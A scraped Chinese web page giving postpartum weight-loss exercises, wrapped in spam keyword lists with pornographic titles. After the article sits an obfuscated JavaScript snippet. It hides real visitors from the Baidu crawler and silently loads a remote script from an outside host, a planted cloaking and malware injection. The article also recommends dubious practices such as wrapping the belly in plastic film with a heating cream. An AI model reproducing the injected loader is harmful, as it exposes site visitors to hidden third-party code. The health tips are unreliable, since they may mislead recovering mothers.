久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 減肥方法 > 正文

生完孩子后怎樣快速瘦身呢?

2017-04-26 17:58:23  來源:360常識網   熱度:
導語:女性在懷孕期間因為要保障胎兒的營養的吸收,所以吃的往往比較多;而生完孩子后,因為想要讓自己的身體盡快的恢復,所以月子里也會吃許多高

女性在懷孕期間因為要保障胎兒的營養的吸收,所以吃的往往比較多;而生完孩子后,因為想要讓自己的身體盡快的恢復,所以月子里也會吃許多高營養,高熱量的食物;再加上月子里活動量比較小,所以許多產婦在坐完月子后,往往身材都會變樣。那么,這樣的人應該怎么瘦身呢?

手臂

左右手各拿1瓶礦泉水,然后雙手呈180°,然后最大力度畫圓,每次正反方向各堅持100下,越多越好。

敲膽經,手臂2側各100下,每天早上敲。

腰部和肚子

每天早上喝蜂蜜+酸奶,然后清腸去排便。

每天早上和晚上各跳繩1000下,注意呼吸,在肚子上綁保鮮膜+ 貝羅,只要一點點就夠了,不然很辣的,雖然過程有點痛苦,但是效果不是一般的好。

大腿

蹲馬步,抖動大腿,狠一點的話,放保鮮膜,再狠一點,放點貝羅,效果不要太好。

做有氧運動,比如騎自行車、爬樓梯、徒步等等,每次堅持半小時,每周做三到五次,大腿的脂肪可以燃燒掉。

小腿

上下蹲起各200下,同理,放保鮮膜+貝羅,保持均勻呼吸和姿勢正確

躺在地上,腳向上伸直與身呈90度,以一條長形毛巾跨過腳背,兩手伸直,腳尖踮高

臀部

1,手扶墻壁、身體離墻30公分站立作準備。手肘約在腰的位置,背部伸直。

2,臉朝向左邊,雙腳正面向著墻壁站立。上半身不要往前傾,臀部肌肉緊繃。

3,右腳先向右斜前方踏出,再盡力向左后方抬。左右各10次。

坐完月子后,大多數的女性都會出現身材變胖的情況,想要減肥,可以通過運動來進行。但是因為這時候女性的身體比較弱,還處在恢復期,所以運動量不要太大,以免對身體有危害。而有氧運動是最好的減肥辦法,只要能夠堅持,就可以讓自己盡快的瘦身。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 久久免费精品 | 欧美日黄 | 国产美女久久 | 欧美日韩视频在线播放 | 息与子猛烈交尾一区二区 | 成人黄色在线 | 欧日韩不卡在线视频 | 欧美激情自拍偷拍 | 99国产精品久久久久久久 | 大香伊在人线免97 | 日韩视频中文字幕 | 成人免费视频网站 | 激情视频在线观看 | 亚洲国产精品第一区二区 | 亚洲国产精品一区二区久久 | 国产电影一区二区 | 亚洲欧美在线播放 | 欧美日韩一区在线 | 欧美一级特 | 国产99久久 | 亚洲精品久久久久久一区二区 | 国产精品久久久免费看 | 成人国产精品入麻豆 | 国产精品久久久 | 久久九九99 | 日韩精品免费 | 天天精品 | 日韩精品一区二区三区在线观看 | 九九久久精品 | 在线精品亚洲欧美日韩国产 | 日本色视频 | 亚洲三级免费观看 | 91中文 | 欧美一区二区视频在线 | 成人在线片 | 亚洲欧美日韩在线一区 | 久久网站热最新地址 | 久久人人视频 | 密室大逃脱第六季大神版在线观看 | 日韩在线资源 | 女女野外嗯啊高潮h百合扶她 |